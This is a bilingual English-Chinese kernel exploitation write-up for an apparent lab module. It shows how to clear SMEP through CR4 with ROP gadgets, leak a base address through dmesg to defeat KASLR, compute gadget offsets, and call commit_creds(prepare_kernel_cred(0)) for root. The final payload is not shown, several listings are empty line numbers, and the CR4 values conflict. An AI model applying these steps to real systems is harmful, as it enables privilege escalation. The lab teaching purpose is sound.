Linux Kernel x86-64 bypass SMEP-KASLR-kptr_restric
Background(背景)
Before to get into a genuine exploitation of a kernel vulnerable module,let’s see which protections we need to bypass 在深入了解内核易受攻击的某块之前,我们来看看需要绕过哪些保护机制
SMEP(管理模式执行保护)
SMEP stands for Supervisor Mode Execution Protection SMEP代表管理模式执行保护 This kernel protection doesn’t allow a user space code to be executed by the kernel. 内核保护不允许内核执行用户态空间代码, To check if SMEP is activated,we can simply read /porc/cpuinfo 要检查SMEP是否被激活,可以简单的阅读/proc/cpuinfo
SMEP is the 20th bit of the CR4 register SMEP是CR4寄存器中的第20位:
KASLR(内核地址空间随机布局)
KASLR stands for Kernel Address Space Layout Randomization. KASLR代表内核地址空间随机化布局 It aims to make some kernel exploits more difficult to implement by randomizing the base address value of the kernel(boot time) 它指通过随机化内核的基地址值来使一些内核漏洞更难利用(开机时间) Exploits that rely on the locations of internal symbols must discover the randomized base address 依靠内部内核符号位置的漏洞必须发现随机化的基地址
Kernel Address Display Restriction(内核地址显示限制)
kptr_restrict indicates if restrictions are placed on exposing kernel addresses via/proc and other interfaces kptr_restrict指示是否限制通过/proc和其他接口公开内核地址
the default,there are no restrictions.(默认情况下,没有任何限制)
kernel pointers printed using the %pK format speciffier will be replaced with o’s unless the user has CAP_SYSLOG.(除非用户具有CAP_SYSLOG功能,否则使用%pK格式说明符打印的指针将会被替换为0)
kernel pointers printed using %pK will be replaced with o’s regardless of privileges.(无论权限如何,使用%pK打印的内核指针将被替换为0) In other words,we can’t get commit_creds addr just by reading the /proc/kallsyms: 换句话说,我们不能通过阅读/proc/kallsyms来获取commit_creds addr:
1
2
# cat /proc/kallsyms | grep commit_creds
0000000000000000 T commit_creds
Privilege escalation(特权升级)
As always,our goal is to get the top privilege and for that,we just need to execute the following 与往常一样,我们的目标是获取最高权限,为此只想执行以下操作
1
commit_creds(prepare_kernel_cred(0))
Get back to user land(返回用户位置)
Even if we can bypass SMEP,we can’t just try to execute /bin/sh in our user code.We need to go back to user land correctly 即使我们可以绕过SMEP,我们也不能试图在我们的用户代码中执行/bin/sh。我们需要正确地返回到用户位置
This can be done with two gadgets: 这可以使用两个gadget完成
This really simple kernel module has a stack overflow in its function vuln_write( ) The datas’s lenght copied to the buffer variable isn’t checked 这个非常简单的内核模块在其函数vuln_write中存在栈溢出,未检查复制到缓冲区变量的数据长度
Analyse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
~$ lsmod
kmod 163840 - Live 0x0000000000000000 (O) <= kptr_restrict
In this analyse,we clearly see the protections(SMEP,KASLR and kptr_restrict) 在这个分析中,我们清晰看到
Bypass SMEP
As explained before, SMEP doens’t allow the user space code to be executed by the kernel,so even if we control RIP,we can’t execute the user code right away:we can use a ROP explooit with kernel space addresses only or we can disable the SMEP’ bit 如前所述,SMEP不允许内核执行用户空间代码,所以即使我们控制RIP也是如此,我们不能立即执行用户代码:我们只能使用带有内核空间地址的ROP攻击,或者可以禁用SMEP位 SMEP is the 20th bit of the CR4 register which in our case is equal to:00000000000006f0 SMEP是CR4寄存器的第20位,我们这里的情况等于 CR4:00000000001006f0 If we can get CR4 to be equal to:CR4:00000000000006f0 如果我们可以得到CR4等于:CR4:00000000000006f0 SMEP will be disabled.(SMEP将被禁用) To do so,we can use two gadgets: 为此,我们可以使用两个gadgets
1
2
POP RDI;RET //place 00000000000006f0 in RDI
MOV CR4,RDI;RET // SMEP disabled!
Bypass KASLR and kptr_restrict
The goal of these bypasses is to find a kernel space address,and add to it an offset to retrieve the gadgets/address needed.We found one usefull address in the result of the dmesg command: 这些绕过的目标是找到一个内核空间地址,并添加一个偏移量来检索所需要的gadgets/address。我们在dmesg命令的结果中找到了一个有用的地址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
~$ dmesg
[0.000000] Linux version 4.8.0 (root@pc1001) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0 - 6ubuntu1~16.04.2)) #5 SMP Sat Oct 8 10:01 : 18 CEST 2016
This is good but we still need to find offsets that we will add or substract to the address we found in order to get gadgets(for instance”pop gadget” or commit_creds address). 这很好,但我们仍然需要找到offset 我们将添加或减去我们找到的地址以获取gadgets(例如”pop gadget”或commit_creds address)。 We need to find the same kernel as the one used in the exercice with KASLR OFF and kptr_restrict set to 0,to be able to find our offsets. 我们需要找到一些内核,如和练习中KASLR OFF和kptr_restrict设置为0一样的那种,以便我们能够找到偏移量
For this purpose,let’s first see the kernel used by the system: 为此,我们先看看系统使用的内核
1
2
~$ uname - a
Linux(none) 4.8.0 #5 SMP Sat Oct 8 10:01 : 18 CEST 2016 x86_ 64 GNU/Linux
We download the kernel 4.8.0 from kernel.org and compile it with KASLR OFF. 我们从kernel.org下载内核4.8.0并使用KASLR OFF进行编译。 Then,we disable kptr_restric which is set in the “init” file. To do so we extract the file’s structure from initramfs.img 然后 我们禁用在’init’文件中设置的kptr_restric。为此,我们从initramfs.img中提取文件的结构 gzip -dcS .img initramfs.img | cpio -id
We comment the 13th line: 我们注意第13行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh
chown root:root /root
chown root:root /root/*
chmod 600 /root/flag
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
mount -t proc proc /proc
mount -t sysfs sysfs /sys
# restriction kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict <= comment this line
insmod /kmod.ko
mknod /dev/vuln c 247 0
chmod a+rw /dev/vuln
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -f
and we recreate the file’s structure: 我们重新创建文件的结构:
With the same kernel,we collect usefull addresses such as: 使用相同的内核,我们收集有用的地址 如:
1
2
commit_creds:ffffffff810a1cf0
prepare_kernel_cred:ffffffff810a2060
The offset for the gadget “pop rdi” is gadget(pop rdi)的偏移量为:
1
"pop RDI ret" - prepare_kernel_creds = 0x1135d
The offset was found with the kernel KASLR OFF,let’s see if the offset is different with the kernel KASLR ON: 在内核KASLR OFF中找到偏移量,让我们看看偏移量是否与内核KASLR ON不同:
1
2
3
4
5
6
7
8
9
10
11
~$ cat /proc/kallsyms | grep prepare_kernel_cred
ffffffffb90a21c0 T prepare_kernel_cred
...
~$ cat /proc/kallsyms | grep commit_creds
ffffffffb90a1e50 T commit_creds
...
(in another terminal)
...
(gdb)x / 2i ffffffffb90a21c0 + 0x1135d
0xffffffffb90b351d: pop rdi
0xffffffffb90b351e : ret
We can do the same to retrieve other gadgets such as:(我们也可以做同样的检索其他gadget,如:)
1
2
3
mov
swapgs
iretq
Continuing with the kernel KASLR ON,we calculate the offset between the usefull address found in dmesg and prepare_kernel_cred/commit_creds: 继续内核KASLR ON,我们计算在dmesg和prepare_kernel_cred/commit_creds中找到的有用地址之间的偏移量
We now have everythings to exploit,so we can set back the kptr_restric protection 我们现在有许多东西可以利用,所以可以设置kptr_restric保护
Exploit The Exploit is simple: (这个利用很简单) 1.execute dmesg (执行dmesg) 2.find the usefull address (找到有用的地址) 3.prepare the payload (准备有效载荷) 4.trigger the vulnerablity (触发漏洞)
The payload has the following content:(有效载荷具有以下内容)